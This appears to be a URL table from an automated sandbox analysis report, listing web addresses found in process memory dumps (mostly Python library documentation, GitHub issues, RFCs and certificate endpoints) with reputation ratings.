https://docs.python.org/3/reference/import.html#__path__	pw.exe, 0000000E.00000003.1770979143.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1694214238.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684878959.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1675606820.0000000000F82000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1688811369.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1714619124.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1729993425.0000000000F22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684513640.0000000000F23000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1676420636.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1696418421.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722017467.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1710507654.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1673020659.0000000000F82000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1720120477.0000000000F21000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1662730093.0000000000F82000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749591995.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1687572898.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748684647.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1698483183.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1663943258.0000000000F82000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1667674810.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.firedaemon.com0/	vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gist.github.com/4325783	pw.exe, 0000000E.00000003.1694017930.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	pw.exe, 0000000E.00000003.1770979143.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1720120477.0000000000F21000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1780050871.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747881190.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1781413086.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1776093310.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773323552.0000000000F04000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tools.ietf.org/html/rfc3986#appendix-A	pw.exe, 0000000E.00000003.1695645040.0000000001D24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1697819388.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org/psf/license/	pw.exe, 0000000E.00000003.1652694422.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pypa/setuptools/issues/417#issuecomment-392298401	pw.exe, 0000000E.00000003.1662999706.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1667538565.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1662806682.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1665061868.0000000000F24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1673020659.0000000000F33000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1663943258.0000000000F73000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1670795232.0000000000F77000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1673222462.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1667674810.0000000000F73000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1665380842.0000000000F63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/psf/requests/issues/3578.	pw.exe, 0000000E.00000003.1779949968.0000000001DA3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1779808397.00000000022C9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3.3/howto/logging.html#configuring-logging-for-a-library	pw.exe, 0000000E.00000003.1743980128.0000000001D97000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.python.org/3/license.html	pw.exe, 0000000E.00000003.1738796691.0000000001DA3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://foo.com:/	pw.exe, 0000000E.00000003.1695645040.0000000001D24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1697819388.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://wwwsearch.sf.net/):	pw.exe, 0000000E.00000003.1779949968.0000000001DA3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1750024027.0000000001D33000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1764752883.0000000001DA6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749404924.0000000001D33000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773451992.0000000001DA7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1756565251.00000000023F7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1777378163.0000000001D90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	pw.exe, 0000000E.00000003.1792758917.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1790233188.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1785968884.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tools.ietf.org/html/rfc6125#section-6.4.3	pw.exe, 0000000E.00000003.1738796691.0000000001DA3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1739234363.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1738920967.0000000001D39000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749591995.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748684647.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748000091.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747881190.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1745870570.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752954504.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc3986#section-3.3	pw.exe, 0000000E.00000003.1695645040.0000000001D24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1697819388.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tools.ietf.org/html/rfc7230#section-3.2)	pw.exe, 0000000E.00000003.1697819388.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://google.com/mail	pw.exe, 0000000E.00000003.1770979143.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1745421013.0000000001D39000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741676886.0000000001BE3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741929759.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752365430.00000000023A2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749591995.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748684647.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748000091.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743102013.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743614888.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1769890225.00000000023A1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792578513.0000000002360000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1780050871.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747881190.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1759137366.0000000002392000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1746314680.00000000023A2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747596411.0000000001D39000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1781413086.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1754016538.00000000023A2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1776093310.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773323552.0000000000F04000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packaging.python.org/specifications/entry-points/	pw.exe, 0000000E.00000003.1727766131.00000000020C4000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1726663160.0000000001BEF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org/psf/license/)	pw.exe, 0000000E.00000003.1652694422.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1652694422.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	pw.exe, 0000000E.00000003.1674430784.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674219564.0000000001D99000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674280207.0000000001BC7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1672814546.0000000001DAF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674664554.0000000001BD4000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674574138.0000000001D8B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0C	vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://foss.heptapod.net/pypy/pypy/-/issues/3539	pw.exe, 0000000E.00000003.1722253380.00000000023A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	pw.exe, 0000000E.00000003.1756412295.0000000001BF0000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1724923193.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741676886.0000000001BE3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1724279963.0000000001BEF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792861657.0000000001BDF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752628970.0000000001BF0000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1787359999.0000000001BE2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1763560922.0000000001BED000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748745610.0000000001BEF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1724279963.0000000001C2F000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1723803786.0000000001D34000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1770027736.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001BF0000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1726663160.0000000001BEF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725199371.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2791	pw.exe, 0000000E.00000003.1721968577.0000000001D24000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.or	pw.exe, 0000000E.00000003.1681044355.0000000000F23000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://google.com/	pw.exe, 0000000E.00000003.1721968577.0000000001D24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1721603955.0000000001CD2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722796605.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722874531.0000000001C26000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722253380.00000000023E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mahler:8092/site-updates.py	pw.exe, 0000000E.00000003.1754433437.0000000003F44000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1755079197.0000000003F32000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1754383727.0000000001D04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1754252598.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1753165612.0000000003F43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://code.activestate.com/recipes/259174/	pw.exe, 0000000E.00000003.1668847463.0000000001BF3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/psf/requests/issues/1846	pw.exe, 0000000E.00000003.1770027736.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001BF0000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773146814.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.../back.jpeg	pw.exe, 0000000E.00000003.1773323552.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1770027736.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001BF0000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773146814.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773187397.00000000020A1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772816681.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/nativeaot-c	olx.exe	false		high
https://httpbin.org/post	pw.exe, 0000000E.00000003.1710372097.0000000001C04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1750591706.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1712031431.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792861657.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725566555.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1689155922.0000000001C24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722796605.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1686789187.0000000001C21000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684434263.0000000001C12000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1728121417.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1688845853.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1701616869.0000000001C05000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752628970.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1694017930.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1717870863.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1705665117.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741627516.0000000001C0A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1777008498.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1700531805.0000000001C13000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743614888.0000000001C19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://erickt.github.io/blog/2014/11/19/adventures-in-debugging-a-potential-osx-kernel-bug/	pw.exe, 0000000E.00000003.1721968577.0000000001D24000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Ousret/charset_normalizer	pw.exe, 0000000E.00000003.1748877032.0000000001D94000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743980128.0000000001D97000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1765034692.0000000003FE5000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1770875093.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1744073457.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1754252598.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748068173.0000000001D94000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1791732327.0000000003FE5000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747881190.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1771102108.0000000003FE7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1745870570.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/651	pw.exe, 0000000E.00000003.1721968577.0000000001D24000.00000004.00000020.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html	pw.exe, 0000000E.00000003.1721968577.0000000001D24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725452365.00000000022B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.firmaprofesional.com/cps0	pw.exe, 0000000E.00000003.1792578513.0000000002360000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://settings-ssl.xboxlive.com/XBLWinClient/v10_video/configuration.xmlAC	Video.UI.exe, 00000004.00000002.2651575772.00000267A2D1B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2920	pw.exe, 0000000E.00000003.1743980128.0000000001D97000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741676886.0000000001BE3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741929759.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743102013.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743614888.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1744073457.0000000003FA5000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741788916.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://json-schema.org/draft-04/schema	Video.UI.exe, 00000004.00000002.2637934055.0000026796E2E000.00000004.00000020.00020000.00000000.sdmp, Video.UI.exe, 00000004.00000002.2638076140.0000026796E42000.00000004.00000020.00020000.00000000.sdmp	false		high
http://bugs.python.org/issue16298)	pw.exe, 0000000E.00000003.1724923193.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1723803786.0000000001D34000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725199371.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yahoo.com/	pw.exe, 0000000E.00000003.1770979143.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1745421013.0000000001D39000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741676886.0000000001BE3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741929759.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752365430.00000000023A2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749591995.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748684647.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748000091.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743102013.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743614888.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1769890225.00000000023A1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792578513.0000000002360000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1780050871.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747881190.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1759137366.0000000002392000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1746314680.00000000023A2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747596411.0000000001D39000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1781413086.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1754016538.00000000023A2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1776093310.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773323552.0000000000F04000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/STCA.crl0	pw.exe, 0000000E.00000003.1783409846.00000000022C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	pw.exe, 0000000E.00000003.1770979143.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1729993425.0000000000F22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1718161592.0000000001D90000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722017467.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1720120477.0000000000F21000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749591995.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748684647.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1717870863.0000000001BF6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748000091.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1716850297.0000000000F20000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1780050871.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747881190.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1717870863.0000000001BC7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1781413086.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1776093310.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773323552.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1745870570.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752954504.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1730808548.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cacerts.digicert.co	vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	vUlh7stUHJ.exe, 00000000.00000003.1424569670.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://html.spec.whatwg.org/multipage/	pw.exe, 0000000E.00000003.1750591706.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792861657.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725566555.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1728121417.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752628970.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741627516.0000000001C0A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1777008498.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743614888.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1730701033.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1776171766.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1738669991.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1770027736.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1724279963.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1739520243.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1763560922.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1745216791.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1782896299.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747062191.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1734737617.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1787359999.0000000001C19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://dmd-ca-beta2/CertEnroll/dmd-ca-beta2_Microsoft%20Digital%20Media%20Authority%202005.crt0d	Video.UI.exe, 00000004.00000003.1564992811.00000267AAE5B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ietf.org/rfc/rfc4627.txt	pw.exe, 0000000E.00000003.1770027736.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001BF0000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773146814.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp	false		high
